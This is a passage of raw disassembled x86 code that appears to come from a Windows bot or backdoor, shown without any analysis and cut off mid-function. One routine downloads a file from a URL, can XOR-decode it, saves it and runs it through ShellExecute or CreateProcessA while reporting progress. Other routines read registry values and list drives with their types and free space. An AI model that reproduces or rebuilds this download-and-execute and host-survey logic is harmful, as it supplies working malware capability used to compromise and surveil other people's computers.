		mov	[ebp+var_4], eax
		jz	short loc_413CB2
		mov	[ebp+var_8], eax


loc_413CB2:				; CODE XREF: sub_413C3F+5Aj
					; sub_413C3F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4CD424


loc_413CBB:				; CODE XREF: sub_413C3F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_413D15
		cmp	byte ptr [esi],	0
		jz	short loc_413D04
		cmp	[ebp+var_98], 0
		jz	short loc_413CEA
		cmp	[ebp+var_4], 0
		jnz	short loc_413CEA
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_41515B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413D04


loc_413CEA:				; CODE XREF: sub_413C3F+90j
					; sub_413C3F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_408C5D
		add	esp, 14h


loc_413D04:				; CODE XREF: sub_413C3F+87j
					; sub_413C3F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4D1424
		jl	short loc_413CBB


loc_413D15:				; CODE XREF: sub_413C3F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_4374BC
		push	eax
		call	sub_417D96
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_413D4F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_408C5D
		add	esp, 14h


loc_413D4F:				; CODE XREF: sub_413C3F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_413B5E
		push	[ebp+var_18]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_413C3F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D6E	proc near		; CODE XREF: sub_401AC7+2140p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4374FC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_413F20
		push	esi
		push	edi
		mov	eax, offset off_4374FC
		mov	esi, offset dword_437508
		mov	edi, offset dword_438700


loc_413D9E:				; CODE XREF: sub_413D6E+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4C9868	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4C970C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_413F06
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_413ECA
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_42C204
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_417A18
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_413F06
		push	eax


loc_413E17:				; CODE XREF: sub_413D6E+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41805F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413EBF
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E44
		push	[ebp+var_8]
		jmp	short loc_413E17
; ---------------------------------------------------------------------------


loc_413E44:				; CODE XREF: sub_413D6E+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_4184B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E83
		lea	eax, [ebp+var_70]
		push	offset asc_4386FC ; "="
		push	eax
		call	sub_4185F4
		push	offset asc_4386FC ; "="
		push	ebx
		call	sub_4185F4
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_417D96
		add	esp, 20h
		jmp	short loc_413E9A
; ---------------------------------------------------------------------------


loc_413E83:				; CODE XREF: sub_413D6E+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_417D96
		add	esp, 10h


loc_413E9A:				; CODE XREF: sub_413D6E+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_413B5E
		add	esp, 18h


loc_413EBF:				; CODE XREF: sub_413D6E+B9j
		push	[ebp+var_8]
		call	sub_41776B
		pop	ecx
		jmp	short loc_413F06
; ---------------------------------------------------------------------------


loc_413ECA:				; CODE XREF: sub_413D6E+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_413B5E
		add	esp, 28h


loc_413F06:				; CODE XREF: sub_413D6E+60j
					; sub_413D6E+A2j ...
		push	[ebp+var_4]
		call	dword_4C97D8	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_413D9E
		pop	edi
		pop	esi


loc_413F20:				; CODE XREF: sub_413D6E+19j
		pop	ebx
		leave
		retn
sub_413D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F23	proc near		; DATA XREF: sub_401AC7+59A2o
					; sub_401AC7+60C5o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4C97B0
		call	dword_4C9710	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_4143AF
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4230EC	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_413FEA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_4388B4
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_413FCD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		add	esp, 14h


loc_413FCD:				; CODE XREF: sub_413F23+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		push	[ebp+var_48]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread


loc_413FEA:				; CODE XREF: sub_413F23+68j
		xor	edi, edi
		call	dword_4230A8	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417A2B
		pop	ecx
		mov	[ebp+var_1C], eax


loc_414004:				; CODE XREF: sub_413F23+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4C9718	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_414048
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_414415
		pop	ecx
		pop	ecx


loc_414048:				; CODE XREF: sub_413F23+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4230E0	; WriteFile
		cmp	edi, ebx
		jnb	short loc_414086
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_414070
		mov	eax, [ebp+arg_0]


loc_414070:				; CODE XREF: sub_413F23+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_418810
		add	esp, 0Ch


loc_414086:				; CODE XREF: sub_413F23+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_414093
		cmp	edi, [ebp+var_3C]
		ja	short loc_4140DD


loc_414093:				; CODE XREF: sub_413F23+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_4140AD
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_43888C
		jmp	short loc_4140BD
; ---------------------------------------------------------------------------


loc_4140AD:				; CODE XREF: sub_413F23+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_438864


loc_4140BD:				; CODE XREF: sub_413F23+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_43C540
		push	eax
		call	sub_417D96
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_414004


loc_4140DD:				; CODE XREF: sub_413F23+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_414132
		cmp	edi, [ebp+var_3C]
		jz	short loc_414132
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_438838
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		add	esp, 28h


loc_414132:				; CODE XREF: sub_413F23+1C4j
					; sub_413F23+1C9j
		call	dword_4230A8	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_423068	; CloseHandle
		push	[ebp+var_1C]
		call	sub_4177C1
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_4141BC
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_4141BC
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_438810
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		add	esp, 28h


loc_4141BC:				; CODE XREF: sub_413F23+241j
					; sub_413F23+253j
		cmp	[ebp+var_14], esi
		jz	loc_4143FC
		cmp	[ebp+var_44], 1
		jz	loc_4142B7
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_423698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_423698
		fstp	[esp+590h+var_590]
		push	offset unk_4387D8
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_414237
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		add	esp, 14h


loc_414237:				; CODE XREF: sub_413F23+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_4143FC
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4C9774
		cmp	[ebp+var_30], esi
		jnz	loc_4143FC
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_4387BC
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		add	esp, 24h
		jmp	loc_4143FC
; ---------------------------------------------------------------------------


loc_4142B7:				; CODE XREF: sub_413F23+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_423698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_423698
		fstp	[esp+590h+var_590]
		push	offset unk_438778
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41431F
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		add	esp, 14h


loc_41431F:				; CODE XREF: sub_413F23+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417AA0
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43B9B8
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	dword_42306C	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_4143A1
		call	dword_4C9760	; WSACleanup
		call	sub_41542E
		push	esi
		call	dword_423064	; ExitProcess


loc_4143A1:				; CODE XREF: sub_413F23+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_438744
		jmp	short loc_4143BB
; ---------------------------------------------------------------------------


loc_4143AF:				; CODE XREF: sub_413F23+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_438718


loc_4143BB:				; CODE XREF: sub_413F23+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4143EF
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408C5D
		add	esp, 14h


loc_4143EF:				; CODE XREF: sub_413F23+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_4143FC:				; CODE XREF: sub_413F23+29Cj
					; sub_413F23+325j ...
		push	[ebp+var_18]
		call	dword_4C982C	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40A51F
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
sub_413F23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414415	proc near		; CODE XREF: sub_413F23+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_414431


loc_414421:				; CODE XREF: sub_414415+1Aj
		mov	dl, byte_425094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_414421

locret_414431:				; CODE XREF: sub_414415+Aj
		retn
sub_414415	endp


; =============== S U B	R O U T	I N E =======================================



sub_414432	proc near		; CODE XREF: sub_401AC7+4F6Ap
					; sub_401AC7+509Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197B4
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_414432	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41444C	proc near		; CODE XREF: sub_40EA69+45Dp
					; sub_40EA69+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D1428
		push	0
		push	edi
		call	sub_417AA0
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_414471:				; CODE XREF: sub_41444C+5Bj
					; sub_41444C+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_419870
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419800
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_4144AF
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_414471
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_414471
; ---------------------------------------------------------------------------


loc_4144AF:				; CODE XREF: sub_41444C+4Bj
		dec	esi
		mov	eax, edi


loc_4144B2:				; CODE XREF: sub_41444C+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_4144C1
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_4144B2
; ---------------------------------------------------------------------------


loc_4144C1:				; CODE XREF: sub_41444C+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41444C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144CB	proc near		; CODE XREF: sub_414677+51p
					; sub_414677+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4C9858	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_41450E
		dec	eax
		jz	short loc_414508
		dec	eax
		dec	eax
		jz	short loc_414502
		dec	eax
		jz	short loc_4144FC
		dec	eax
		jz	short loc_4144F6
		dec	eax
		jz	short loc_4144F0
		mov	eax, offset word_438908
		retn
; ---------------------------------------------------------------------------


loc_4144F0:				; CODE XREF: sub_4144CB+1Dj
		mov	eax, offset off_438904
		retn
; ---------------------------------------------------------------------------


loc_4144F6:				; CODE XREF: sub_4144CB+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4144FC:				; CODE XREF: sub_4144CB+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_414502:				; CODE XREF: sub_4144CB+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_414508:				; CODE XREF: sub_4144CB+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_41450E:				; CODE XREF: sub_4144CB+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4144CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414514	proc near		; CODE XREF: sub_41455C+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4C96FC
		test	eax, eax
		jz	short loc_414549
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_414549:				; CODE XREF: sub_414514+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_414514	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41455C	proc near		; CODE XREF: sub_414677+17p
					; sub_417368+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_414514
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_414634
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_414634
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_414634
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_4198F0
		push	edx
		push	eax
		call	sub_41444C
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4198F0
		push	edx
		push	eax
		call	sub_41444C
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4198F0
		push	edx
		push	eax
		call	sub_41444C
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 18h
		pop	ebx
		jmp	short loc_414663
; ---------------------------------------------------------------------------


loc_414634:				; CODE XREF: sub_41455C+2Cj
					; sub_41455C+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_417D96
		add	esp, 18h


loc_414663:				; CODE XREF: sub_41455C+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41455C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414677	proc near		; CODE XREF: sub_414749+17p
					; sub_414749+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_41455C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_418570
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4146EA
		push	ebx
		push	ebx
		call	sub_4144CB
		pop	ecx
		push	eax
		push	offset unk_438958
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 14h
		jmp	short loc_41471E
; ---------------------------------------------------------------------------


loc_4146EA:				; CODE XREF: sub_414677+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4144CB
		pop	ecx
		push	eax
		push	offset unk_43891C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 20h


loc_41471E:				; CODE XREF: sub_414677+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_413B5E
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414749	proc near		; CODE XREF: sub_401AC7+20A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_41476A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414677
		add	esp, 10h
		jmp	short loc_4147CB
; ---------------------------------------------------------------------------


loc_41476A:				; CODE XREF: sub_414749+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4C9770	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_417A2B
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4C9770	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4147C2


loc_41478E:				; CODE XREF: sub_414749+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4147B1
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414677
		add	esp, 10h


loc_4147B1:				; CODE XREF: sub_414749+54j
		push	esi
		call	sub_4176F0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_41478E


loc_4147C2:				; CODE XREF: sub_414749+43j
		push	edi
		call	sub_4177C1
		pop	ecx
		pop	edi
		pop	esi


loc_4147CB:				; CODE XREF: sub_414749+1Fj
		pop	ebx
		pop	ebp
		retn
sub_414749	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147CE	proc near		; CODE XREF: sub_414992+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
